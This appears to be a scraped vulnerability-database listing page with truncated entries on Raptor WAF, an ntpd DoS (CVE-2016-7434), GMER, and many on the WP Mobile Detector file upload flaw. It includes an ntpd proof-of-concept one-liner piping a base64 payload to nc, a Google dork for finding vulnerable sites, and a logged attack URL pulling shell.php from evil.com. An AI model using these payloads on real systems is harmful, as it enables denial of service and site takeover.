Raptor WAF v0.04 - Web Application Firewall using DFA

Raptor WAF is a simple web application firewall made in C, using KISS principle, to make poll use select function, is not better than epoll or kqueue from BSD but is portable, the core of match engine using DFA to detect XSS, SQLi and path traversal. No more words, look at the following : WAF...

ntpd remote pre-auth DoS (CVE-2016-7434)

poc echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsY"\ | "WRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123 Valgrind report $ sudo valgrind ./ntpd/ntpd -n -c /resources/ntp.conf | | ==5389== Memcheck, a memory error detector | | ==5389== Copyright C 2002-201...

GMER Stack Buffer Overflow Vulnerability

GMER is a program for detecting and removing rootkits. GMER suffers from a stack buffer overflow vulnerability due to the program failing to adequately validate user-supplied data. Allowing an attacker to exploit the vulnerability would allow execution of arbitrary code within the context of the...

Address Sanitizer in macOS-vulnerability warning-the black bar safety net

A few days ago, the Keen Team@marcograss on their blog released a using Address Sanitizeraka asan found a heap overflow vulnerability. Discuss here about asan implementation. This article relates to the environment macOS 10.11.6 Xcode 7.3.1 make sure to use the official Apple's clang, with the op...

Raptor WAF v0.2 - Web Application Firewall using DFA

Raptor WAF is a simple web application firewall made in C, using KISS principle, to make poll use select function, is not better than epoll or kqueue from BSD but is portable, the core of match engine using DFA to detect XSS, SQLi and path traversal. No more words, look at the following : WAF...

Metal Detector - Dangerous filesystem permissions, WebView code execution vulnerabilities

HackApp vulnerability scanner discovered that application Metal Detector published at the 'play' market has multiple vulnerabilities...

WordPress WP Mobile Detector Plugin Arbitrary File Upload Vulnerability

WordPress is a set of blogging platforms developed in the PHP language by the WordPress Software Foundation, which supports personal blog sites on servers with PHP and MySQL.WordPress WP Mobile Detector is one of the user-created administrators to show or hide content based on the guest device or...

WordPress Mobile Detector <=3.5 resize.php the src parameter local file include vulnerability

No description provided by source...

WordPress WP Mobile Detector Plugin 3.5 - Arbitrary File Upload Vulnerability

Remotely upload arbitrary files on WordPress webserver when WP Mobile Detector Plugin is installed and enabled. SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders...

WordPress WP Mobile Detector Plugin 3.5 file upload vulnerability

No description provided by source...

WordPress Mobile Detector file_get_contents 函数远程文件读取

No description provided by source...

WordPress WP Mobile Detector 3.5 Plugin - Arbitrary File Upload

Exploit for php platform in category web applications Exploit Title: WP Mobile Detector =3.5 Arbitrary File upload Google Dork: inurl: /wp-includes/plugins/wp-mobile-detector Date: 1-06-2015 Exploit Author: Aaditya Purani Author Details: https://aadityapurani.com Vendor:...

WordPress WP Mobile Detector 3.5 Shell Upload

Exploit Title: WP Mobile Detector =3.5 Arbitrary File upload Google Dork: inurl: /wp-includes/plugins/wp-mobile-detector Date: 1-06-2015 Exploit Author: Aaditya Purani Author Details: https://aadityapurani.com Vendor: https://wordpress.org/plugins/wp-mobile-detector/changelog Version: 3.5 Tested...

WordPress WP Mobile Detector Plugin 3.5 - Arbitrary File Upload

This vulnerability allows an attacker to upload malicious PHP Files into the website. Solution Upgrade the plugin...

WordPress Mobile Detector plug-in vulnerability had been used to attack-vulnerability warning-the black bar safety net

! Update:WordPress Mobile Detector plugin have been patched,the vulnerability has been resolved. Please update as soon as possible,a patched version is 3. 6,the latest version is 3. 7 in. In the past few days,we have noticed the problem sites number linear growth,and did not find these sites the...

WordPress Plugin WP Mobile Detector 3.5 - Arbitrary File Upload

Exploit Title: WP Mobile Detector =3.5 Arbitrary File upload Google Dork: inurl: /wp-includes/plugins/wp-mobile-detector Date: 1-06-2015 Exploit Author: Aaditya Purani Author Details: https://aadityapurani.com Vendor: https://wordpress.org/plugins/wp-mobile-detector/changelog Version: 3.5 Tested...

WordPress WP Mobile Detector Plugin Arbitrary File Upload

An Arbitrary File Upload vulnerability exists in WordPress WP Mobile Detector Plugin. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...

WordPress Patches WP Mobile Detector Plugin Zero Day

A WordPress plugin was patched Thursday night, close to a week after reports began to surface of public attacks against a zero-day vulnerability. WP Mobile Detector was pulled from the WordPress Plugin Directory once the attacks went public. It was restored last night and users are urged to updat...

WP Mobile Detector Vulnerability

WP Mobile Detector, a WordPress plugin, contains a vulnerability in versions prior to 3.6. Exploitation of this vulnerability could allow an attacker to take control of an affected website. US-CERT encourages users and administrators to disable the configuration option allowurlfopen if it is not...

WP Mobile Detector <= 3.5 - Arbitrary File Upload

The wp-mobile-detector WordPress plugin was affected by an Arbitrary File Upload security vulnerability. As seen in access logs: http://www.example.com/wp-content/plugins/wp-mobile-detector/resize.php?src=https://www.evil.com/shell.php...